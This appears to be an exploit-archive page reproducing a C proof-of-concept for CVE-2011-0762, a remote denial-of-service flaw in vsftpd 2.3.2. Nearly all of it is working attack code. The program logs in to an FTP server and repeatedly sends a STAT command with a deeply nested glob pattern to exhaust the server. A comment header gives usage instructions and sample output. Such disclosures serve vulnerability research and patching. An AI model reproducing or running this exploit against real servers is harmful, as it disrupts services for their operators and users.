ExploitFixes
vsftpd 2.3.2 Denial of Service Vulnerability - [CVE: 2011-0762] 2011-03-02 09:15:11

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/*
This is code of
http://cxib.net/stuff/vspoc232.c

PoC CVE-2011-0762 ( vsftpd )
Remote Denial of Service

Affected: 2.3.2
Fix: 2.3.4

Author:
Maksymilian Arciemowicz

Use:
./vspoc232 127.0.0.1 21 user pass 1

or read
http://securityreason.com/achievement_securityalert/95
for more information

Example result:
[email protected]:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host.

*/

int skip=0;

int sendftp(int stream,char *what){
if(-1==send(stream,what,strlen(what),0))
printf("Can't send %s\n",what);
else
printf("send: %s\n",what);

bzero(what,sizeof(what));
}

void readftp(int stream){
char readline[4096];
if(recv(stream,readline,4096,0)<1)
if(!skip) exit(1); // end
else
printf("recv: %s\n",readline);

}

int sendstat(host,port,login,pass)
char *host,*port,*login,*pass;
{
char buffer[4097]; // send ftp command buffor
int sockfd,n,error;
struct addrinfo hints;
struct addrinfo *res, *res0;

memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);

if (error){
errorcon:
printf("Can`t connect\n.exit");
exit(1);
}

if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

readftp(sockfd);
snprintf(buffer,4096,"USER %s\nPASS %s\n\n",login,pass);
sendftp(sockfd,buffer);
readftp(sockfd);

snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n");
sendftp(sockfd,buffer);
freeaddrinfo(res0);
}

int main(int argc,char *argv[])
{
char *login,*pass,logindef[]="anonymous",passdef[]="[email protected]";

if(argc<3){
printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n");
exit(1);
}

char *host=argv[1];
char *port=argv[2];

if(4<=argc) login=argv[3];
else login=logindef;

if(5<=argc) pass=argv[4];
else pass=passdef;

if(6<=argc) skip=1;

while(1){
printf("----------------------------- next\n");
sendstat(host,port,login,pass);
sleep(1); // some delay to be sure
}
return 0; // never happen
}